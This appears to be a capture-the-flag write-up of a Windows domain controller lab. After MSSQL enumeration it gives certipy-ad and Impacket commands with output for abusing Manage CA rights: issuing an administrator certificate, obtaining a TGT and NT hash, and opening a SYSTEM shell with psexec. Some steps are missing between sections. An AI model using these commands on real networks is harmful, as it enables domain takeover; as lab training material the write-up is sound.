This is a Windows 2019 server machine configured as domain controller running a MSSQL database. Using enabled guest sessions on SMB shared resource, we can bruteforce the RID and get a list of domain users, then bruteforce credentials for the MSSQL database. In the database, xp_dirtree is used to locate a backup of the database which contains credentials for a WinRM shell. Regarding escalation, a misconfiguration on the manage CA permissions can be abused with certipy-ad to create a new certificate for an administrator user.
KEYWORDS
RID bruteforce, MSSQL directory traversal, xp_dirtree, manageCA, certipy-ad, pass the certificate, pass the ticket.
Attack is successful for credentials operator:operator
Log in with credentials and start enumerating the database.
> python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py manager.htb/operator:operator@10.129.142.151 -windows-authImpacketv0.10.0-Copyright2022SecureAuthCorporation[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (1507208)[!] Press help for extra shell commands> SQL> helplcd{path}-changesthecurrentlocaldirectoryto{path}exit-terminatestheserverprocess (and thissession)enable_xp_cmdshell-youknowwhatitmeansdisable_xp_cmdshell-youknowwhatitmeansxp_cmdshell{cmd}-executescmdusingxp_cmdshellsp_start_job{cmd}-executescmdusingthesqlserveragent (blind)! {cmd}-executesalocalshellcmd> SQL> enable_xp_cmdshell[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.[-] ERROR(DC01\SQLEXPRESS): Line 1: You donothavepermissiontoruntheRECONFIGUREstatement.[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.[-] ERROR(DC01\SQLEXPRESS): Line 1: You donothavepermissiontoruntheRECONFIGUREstatement.
It seems xp_cmdshell is not enabled and we don't have permissions to activate, therefore this way is closed. We will try to capture the NTLMv2 hash with responder or smbserver.py + xp_dirtree
First step is to grant yourself the Manage Certificates access right by adding your user as a new officer with certipy-ad tool.
> /usr/bin/certipy-ad ca -ca 'manager-DC01-CA' -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.142.151 -add-officer ravenCertipyv4.7.0-byOliverLyak (ly4k)[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
The SubCA template can be enabled on the CA with the -enable-template flag. By default, the SubCA template is enabled.
> /usr/bin/certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'Certipyv4.7.0-byOliverLyak (ly4k)[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
No we request a certificate based on the SubCA template. This request will be denied, but we will save the private key and note down the request ID. Make sure you are running the command from a directory where you have writing rights, otherwise the .key will not be written.
> /usr/bin/certipy-ad req -ca 'manager-DC01-CA' -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -target manager.htb -template SubCA -upn administrator@manager.htbCertipyv4.7.0-byOliverLyak (ly4k)[*] Requesting certificate via RPC[-] Got error whiletryingtorequestcertificate:code:0x80094012-CERTSRV_E_TEMPLATE_DENIED-Thepermissionsonthecertificatetemplatedonotallowthecurrentusertoenrollforthistypeofcertificate.[*] Request ID is 21Wouldyouliketosavetheprivatekey? (y/N) y[*] Saved private key to 21.key[-] Failed to request certificate# we can thenissuethefailedcertificaterequestwiththecacommandandthe-issue-request<requestID>parameter> /usr/bin/certipy-ad ca -ca 'manager-DC01-CA' -issue-request 21 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'[*] Successfully issued certificate
In this case, private key is saved as 21.key. Next, retrieve the issued certificate with the req command and the -retrieve <request ID> flag.
> /usr/bin/certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -target manager.htb -retrieve 21Certipyv4.7.0-byOliverLyak (ly4k)[*] Rerieving certificate with ID 21[*] Successfully retrieved certificate[*] Got certificate with UPN 'administrator@manager.htb'[*] Certificate has no object SID[*] Loaded private key from '21.key'[*] Saved certificate and private key to 'administrator.pfx'
Now, using the administrator certificate that we have just created, we generate a Kerberos TGT ticket.
> /usr/bin/certipy-ad auth -pfx ./administrator.pfx -dc-ip 10.129.142.151 -username administrator -domain manager.htbCertipyv4.7.0-byOliverLyak (ly4k)[*] Using principal: administrator@manager.htb[*] Trying to get TGT...[*] Got TGT[*] Saved credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for'administrator'[*] Got hash for'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
At this point, you can have a full interactive system shell by either passing the administrator hash or passing the TGT ticket.
To pass the hash, you can use psexec or similar tool. To pass the ticket, first export the ticket to prepare the attack.
>export KRB5CCNAME=administrator.ccache
Then login into the DC passing the TGT ticket.
> python3 /usr/share/doc/python3-impacket/examples/psexec.py manager.htb/administrator@dc01 -k -no-pass -dc-ip 10.129.142.151 -target-ip 10.129.142.151Impacketv0.10.0-Copyright2022SecureAuthCorporation[*] Requesting shares on 10.129.142.151.....[*] Found writable share ADMIN$[*] Uploading file pxXDoAzA.exe[*] Opening SVCManager on 10.129.142.151.....[*] Creating service CRFB on 10.129.142.151.....[*] Starting service CRFB.....[!] Press help for extra shell commandsMicrosoftWindows [Version 10.0.17763.4974](c) 2018MicrosoftCorporation.Allrightsreserved.C:\Windows\system32> cdc:\users\administrator\desktopc:\Users\Administrator\Desktop> dirVolumeindriveChasnolabel.VolumeSerialNumberis566E-8ECADirectoryofc:\Users\Administrator\Desktop09/28/202302:27PM<DIR>.09/28/202302:27PM<DIR>..10/20/202310:46AM34root.txt1File(s) 34bytes2Dir(s) 2,414,751,744bytesfree
Final note: for some reason the DC clock gets unskewed very easily, for this reason the commands after the ntpdate have to be issued very quickly to avoid clocks get unsynchronized. Have them typed elsewhere to quickly copy-paste them.